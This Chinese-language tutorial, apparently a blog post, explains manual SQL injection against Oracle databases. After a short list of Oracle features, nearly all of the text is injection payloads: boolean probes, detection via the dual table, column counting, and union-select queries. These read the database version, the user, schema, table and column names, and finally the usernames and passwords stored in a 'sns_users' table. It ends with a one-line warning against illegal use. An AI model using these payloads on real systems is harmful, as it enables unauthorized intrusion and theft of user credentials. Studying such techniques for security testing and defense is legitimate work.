一、Oracle数据库
一般大型企业都会用到,物流、旅游、航空、银行等等。。。
1、支持多用户、大事务量的处理
2、数据安全性和完整性的有效控制
3、支持分布式数据处理
4、移植性强
二、手动注入
1、判断是否存在
and 1=1 返回正常
and 1=2 返回错误
2、判断是否是Oracle数据库
and exists(select * from dual)
and exists(select * from user_tables)
返回正常说明是oracle
3、判断数列
order by 2 返回正常,说明有两列
4、联合查询
union select null,null from dual,这里不能写1,2 需要用null替换,然后将每个null用数字和字符替换一下,发现数字就报错,字符不报错
union select 1,null from dual 报错
union select null,1 from dual 报错
union select ‘null’,‘null’ from dual 返回如下界面,这时就可以用下面的查询语句了
5、获取数据库版本
(select banner from sys.v_$Version where rownum=1)
6、获取连接数据库的当前用户
(select SYS_CONTEXT(‘USERENV’,‘CURRENT_USER’)from dual)
7、获取数据库
(select instance_name from v$instance) 获取当前数据库
(select owner from all_tables where rownum=1)获取第一个数据库
(select owner from all_tables where rownum=1 and owner<>‘SYS’)获取第二个数据库
8、获取表名
(select table_name from user_tables where rownum=1 and table_name like ‘%users%’) from dual
10、获取列名
(select column_name from user_tab_columns where table_name=‘sns_users’ and rownum=1)
11、获取第二列名
(select column_name from user_tab_columns where table_name=‘sns_users’ and rownum=1 and column_name<>‘USER_NAME’)
12、获取字段内容
id=1 and 1=2 union select USER_NAME,USER_PWD from “sns_users”
union select USER_NAME,USER_PWD from “sns_users” where USER_NAME<>‘hu’ 获取第二个用户信息
禁止非法,后果自负